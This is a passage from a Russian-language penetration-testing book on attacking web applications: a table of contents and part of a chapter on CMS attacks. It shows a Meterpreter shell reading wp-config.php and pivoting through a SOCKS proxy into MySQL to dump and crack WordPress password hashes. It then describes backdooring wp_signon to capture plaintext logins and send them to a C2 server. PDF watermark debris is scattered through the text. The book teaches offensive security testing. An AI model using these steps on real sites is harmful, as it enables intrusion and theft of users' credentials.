- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
|
Server username: www-data (33) |
|||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
Взлом кода с помощью бэкдора
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
339 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
meterpreter >
С помощью доступа к оболочке можно попытаться повысить привилегии, выполнить дальнейшее перемещение по сети или даже извлечь дополнительные учетные данные.
Утечка учетных данных
Рассмотрим еще один сценарий, где речь идет об эксплуатации уязвимости на веб-сайте с предоставлением доступа к командной строке сервера. Может быть, на самом сайте, работающем на WordPress, установлены исправления, а пароли пользователей сложны, но если сайт размещен в общей системе, злоумышленники нередко получают доступ к командной строке через посторонний компонент сайта. Возможно, нам удалось загрузить веб-оболочку или дажезаставитьвеб-серверсоздатьреверснуюоболочкунанашеймашинеспо- мощью внедрения команд. В предыдущем сценарии мы угадали пароль mary, но что, если мы хотим большего? Что, если владелец блога msmith имеет дос туп к другим системам?
Повторное использование пароля является проблемой, которая, вероятно, не исчезнет в ближайшее время, и имеет смысл получить пароль администратора сайта.Тотже парольможетработатьв случае сVPN или OWAилидажедля суперпользователя на самом сервере приложений.
Большинство современных веб-серверов, таких как Apache2, NGINX и IIS, запускают приложения с пользовательским контекстом с низким уровнем привилегий, поэтому PHP-оболочка будет иметь ограниченный доступ к базовому серверу. Хотя пользователь вряд ли может каким-то образом использовать сам сервер, он способен взаимодействовать с исходным кодом сайта, в том числе с экземпляром CMS. Можно искать способы повышения привилегийспомощьюлокальногоэксплойта,ноеслинамэтонеудастсяили не хватит времени, целесообразнее установить бэкдор в код сайта и собрать учетные данные.
В предыдущем сценарии мы получили доступ к командной строке через пользователя mary.
Оказавшись внутри, можем проверить файл wp-config.php на наличие потенциальных местдля инъекций.Мыможем видетьучетныеданныебазыданных, которые требуются WordPress для правильной работы. Это может быть нашей первой целью, поскольку все учетные данные WordPress хранятся там, хотя и хешируются.Если получим эти хешированные пароли,то взломаем их в автономном режиме.Файлы конфигурации являются общими для CMS,и если у нас есть доступ для чтения к серверу приложений, мы должны взять это в первую очередь.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 340 Глава 12.Атака на CMS |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
meterpreter > cat /var/www/html/wp-config.php |
||||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
<?php
/**
*The base configuration for WordPress
*
[...]
*This file contains the following configurations:
*
** MySQL settings
** Secret keys
** Database table prefix
** ABSPATH
*
* @link https://codex.WordPress.org/Editing_wp-config.php
*
* @package WordPress */
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
// ** MySQL settings - You can get this info from your web host **
//
/** The name of the database for WordPress */ define('DB_NAME', 'WordPress');
/** MySQL database username */ define('DB_USER', 'WordPress');
/** MySQL database password */ define('DB_PASSWORD', 'ZXQgdHUgYnJ1dGU/');
/** MySQL hostname */ define('DB_HOST', '127.0.0.1:3306');
[...]
Мы могли бы получить эти незашифрованные учетные данные и подключиться к базе данных с помощью клиента MySQL. Затем можем приступить к сбросупользовательскойтаблицыилюбыххешейвнутринее.Входеработывы, вероятно, встретите более защищенные экземпляры MySQL, которые обычно не позволяют совершать вход с любого удаленного хоста. Экземпляр MySQL также может быть защищен брандмауэром или слушать только на 127.0.0.1, и нам, возможно, не удастся подключиться извне.
Чтобы обойти такие типы ограничений, нам нужно развернуть соединение через сеанс нашей реверсной оболочки, который мы установили ранее.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
Взлом кода с помощью бэкдора |
|||
w Click |
to |
|
|
|
|
|
|||||
|
|
|
|
|
m |
|
|||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
|
|
msf payload(php/meterpreter/reverse_tcp) > sessions |
||||||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
341 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Active sessions |
|
|
||
=============== |
|
|
||
Id |
Name |
Type |
Information |
Connection |
-- |
---- |
---- |
----------- |
---------- |
8 |
|
meterpreter php/ |
|
www-data @ |
|
|
linux |
|
0f2dfe914f09 |
|
|
|
|
10.0.5.42:4444 -> |
|
|
|
|
172.17.0.3:36194 |
|
|
|
|
(172.17.0.3) |
Во-первых, нужно добавить маршрут в Metasploit, чтобы перенаправлять любые соединения через активный сеанс Meterpreter. В этом случае нужно подключиться к экземпляру MySQL, который слушает только на локальном хосте , на IP-адресе 127.0.0.1.
Команда Metasploit route add требует, чтобы мы указали диапазон сети и идентификатор сеанса Meterpreter. В нашем случае сосредоточимся только на адресе 127.0.0.1, поэтому /32 подходит. Нам также нужно отправлять все свои пакеты через сессию 8.
msf payload(php/meterpreter/reverse_tcp) > route add 127.0.0.1/32 8 [*] Route added
msf payload(php/meterpreter/reverse_tcp) > route print
IPv4 Active Routing Table
=========================
Subnet |
Netmask |
Gateway |
------ |
------- |
------- |
127.0.0.1 |
255.255.255.255 |
Session 8 |
Чтобы использовать этотмаршрут,запустим прокси-сервер в Metasploit,который можем использовать вместе с ProxyChains для отправки пакетов через наш сеанс Meterpreter.
Модуль auxiliary/server/socks4a позволит создать сервер SOCKS4 на машине, используемой для атаки, и, используя ранее добавленный маршрут, любой трафик, предназначенный для 127.0.0.1, будет перенаправляться через наш сеанс.
Давайте загрузим модуль и установим опции SRVHOST и SRVPORT, как показано ниже.
msf payload(php/meterpreter/reverse_tcp) > use auxiliary/server/socks4a
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 342 Глава 12.Атака на CMS |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
msf auxiliary(server/socks4a) > options |
||||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Module options (auxiliary/server/socks4a):
Name |
Current Setting |
Required |
Description |
------------------- -------- -----------
SRVHOST |
0.0.0.0 |
yes |
The |
address |
to listen on |
SRVPORT |
1080 |
yes |
The |
port to |
listen on. |
msf auxiliary(server/socks4a) > run
[*]Auxiliary module running as background job 1.
[*]Starting the socks4a proxy server
МыдолжныувидетьнашсерверSOCKS,работающийвфоновомрежиме,выполнив команду Metasploit jobs.
msf auxiliary(server/socks4a) > jobs
Jobs
====
Id |
Name |
Payload |
Payload opts |
-- |
---- |
------- |
------------ |
0 |
Exploit: multi/ |
php/meterpreter/ |
tcp://attack |
|
handler |
reverse_tcp |
er.c2:4444 |
1Auxiliary: server/ socks4a
Затем необходимо изменить файл конфигурации ProxyChains /etc/ proxychains.conf, чтобы он указывал на наш созданный сервер SOCKS, как показано ниже.
root@kali:~# tail /etc/proxychains.conf [...]
#
#proxy types: http, socks4, socks5
#( auth types supported: "basic"-http "user/pass"-socks )
[ProxyList]
socks4 |
127.0.0.1 1080 |
Наконец, используем двоичный файл proxychains в нашем терминале Kali, чтобы обеспечить соединение MySQL-клиента с базой MySQL жертвы,используя учетные данные из файла wpconfig.php.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
Взлом кода с помощью бэкдора |
|||
w Click |
to |
|
|
|
|
|
|||||
|
|
|
|
|
m |
|
|||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
|
|
root@kali:~# proxychains mysql -h127.0.0.1 -uWordPress -p |
||||||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
ProxyChains-3.1 (http://proxychains.sf.net) Enter password: ZXQgdHUgYnJ1dGU/
|S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:3306-<><>-OK Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 28
Server version: 5.6.37 MySQL Community Server (GPL)
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
343 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
Этот пользователь базы данных WordPress, вероятно, также будет иметь ограниченныйдоступ к серверу,но нам этогодолжно бытьдостаточно.Мы видим базу данных WordPress и можем перечислить ее таблицы и данные.
MySQL [(none)]> show databases;
+-------------------- |
+ |
| Database |
| |
+-------------------- |
+ |
| information_schema |
| WordPress |
| |
| test |
| |
+-------------------- |
+ |
3 rows in set (0.00 sec)
MySQL [none]> show tables from WordPress;
+----------------------------- |
+ |
| Tables_in_WordPress |
| |
+----------------------------- |
+ |
| wp_commentmeta |
| |
| wp_comments |
| |
| wp_links |
| |
| wp_options |
| |
| wp_postmeta |
| |
| wp_posts |
| |
| wp_term_relationships |
| |
| wp_term_taxonomy |
| |
| wp_termmeta |
| |
| wp_terms |
| |
| wp_usermeta |
| |
| wp_users |
| |
+----------------------------- |
+ |
12 rows in set (0.00 sec) |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
r |
|||||
P |
|
|
|
|
NOW! |
|
o |
|
|
P |
|
|
|
|
|
NOW! |
o |
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 344 Глава 12.Атака на CMS |
|
w Click |
to |
|
|
|
|
|
|
||||||||||||||||
|
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
g |
.c |
|
|
|
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Нужно получить имена пользователей и хеши, хранящиеся в таблице wp |
|
|
|
|
e |
|
||||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
users, используя простой MySQL-запрос. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
MySQL [none]> select id, user_login, user_pass, user_email from |
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
WordPress.wp_users where id=1; |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
+---- |
|
|
|
|
|
+------------ |
+------------------------ |
+------------------ |
+ |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
| id | user_login | user_pass |
| user_email |
| |
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
+---- |
|
|
|
|
|
+------------ |
+------------------------ |
+------------------ |
+ |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
| |
|
|
|
|
1 | msmith |
| $P$BX5YqWaua3jKQ1OBFgui| msmith@cookingwit| |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
| |
|
|
|
|
|
| |
| UhBxsiGutK/ |
| hfire.local |
| |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
+---- |
|
|
|
|
|
+------------ |
+------------------------ |
+------------------ |
+ |
|
|
|
|
|
|
|
|
|
|
|
1 row in set (0.01 sec)
Имея в руках хеш пароля msmith, можем запустить утилиту John the Ripper на нашей машине с Kali и попытаться взломать его. Можем сохранить хеш локально и запустить для него команду john.
root@kali:~# cat hashes msmith:$P$BX5YqWaua3jKQ1OBFquiUhBxsiGutK/ root@kali:~# john hashes -- wordlist=~/tools/SecLists/Passwords/darkc0de.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 0.72% (ETA: 10:24:24) 0g/s 4897p/s 4897c/s 4897C/s 11770..11/9/69
0g 0:00:00:02 1.10% (ETA: 10:25:08) 0g/s 4896p/s 4896c/s 4896C/s 123din7361247iv3..123ducib19
0g 0:00:00:04 1.79% (ETA: 10:25:49) 0g/s 4906p/s 4906c/s 4906C/s
16 HERRERA..16th
0g 0:00:00:20 6.59% (ETA: 10:27:09) 0g/s 4619p/s 4619c/s 4619C/s 4n0d3..4n0m47h3c4
В зависимости от схемы взлома и сложности пароля на это уйдет некоторое время. Возможно даже, что в ходе выполнения обычного задания вам вряд ли удастся это сделать и может понадобиться альтернатива.
Более разумный способ получить учетные данные в виде открытого текс та – это взломать код CMS с помощью бэкдора и перехватить учетные данные в виде открытого текста, когда жертва (или жертвы) выполняет вход в приложение.Эта атакатребует,чтобы пользователь,которого мы контролируем,мог изменять файлы WordPress на диске. В некоторых случаях пользователю веб-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
Взлом кода с помощью бэкдора 345 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
сервера будет запрещено выполнять запись на диск в качестве меры безопас |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
ности, но администраторы часто плохо следят за этим элементом управления в течение жизненного цикла приложения. Эта атака также полезна, если у нас есть полный root-доступ к целевому серверу. Как говорилось ранее, сбор учетных данных в открытом виде имеет смысл,особенно если целью является дальнейшее перемещение по сети или доступ к конфиденциальным данным.
Функция в WordPress, которая обрабатывает аутентификацию, носит название wp_signon(), и в кодексе WordPress содержится ее подробное описание.
Рис.12.11. Справочная информация о функции wp_signon
Функция signon определена в основном файле WordPress wp-includes/
user.php.
Тут есть несколько строк кода, которые проверяют учетные данные, переданные в функцию из других модулей,таких как wp-login.php.
Нам нужно перехватить учетные данные в виде открытого текста и отправить их на наш командно-контрольный сервер либо сохранить их где-нибудь на веб-сайте для последующего извлечения. Возможно, придется сделать и то, и другое. Конечно, у обоих методов есть плюсы и минусы. Отправка данных по сети может быть воспринята системами обнаружения вторжений или выходными прокси-серверами как необычныйтрафик,но это даетгарантию,что мы получим учетные данные, как только они будут введены, при условии что передача, конечно, не заблокирована. Локальное хранение данных не приведет к сбою сетевых мониторов,но если администраторы сервера внимательно изучат файловую систему приложения, наличие дополнительных файлов на сервере их удивит.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
|
o |
|
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 346 Глава 12.Атака на CMS |
w Click |
to |
|
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
В функции wp_signon |
учетные данные |
|
|
p |
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
e |
передаются через переменную |
|
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
$credentials либо при новом входе в систему через глобальную переменную $_POST. Можно кодировать это входящее значение в формат JSON, кодировать результаты вBase64 и записатьих надисклибо отправитьпо сети.Двойноекодирование предназначено в основном для легкости передачи по сети, а также для несложной маскировки данных, которые мы похищаем.
PHP предоставляетдве удобные функции, которые можно внедрить в функцию wp_signon для быстрой и простой утечки учетных данных WordPress.
Функция file_put_contents() позволяет писать данные на диск в любом месте, где у пользователя есть доступ для записи. В частности, что касается WordPress, поскольку она позволяет загружать данные, папка wp-content/ uploads обычно доступна для записи веб-сервером. Другие CMS будут иметь аналогичный доступ к иным каталогам, которые можно использовать.
file_put_contents([file to write to], [data to write], FILE_APPEND);
Функция file_get_contents() позволяет отправлять веб-запросы на наш командно-контрольный сервер, и мы можем передавать учетные данные через URL-адрес. Мы сможем увидеть данные в журналах сервера. Для сетевой эксфильтрации нужно добавить в функцию символ @,чтобы PHP подавлял лю- быеошибкивслучаепроблемссетью.Есликомандно-контрольныйсервервы- ходитизстрояилинедоступенподругимпричинам,намненужнопредупреж дать пользователей о потенциальной проблеме безопасности.
@file_get_contents([c2 URL]);
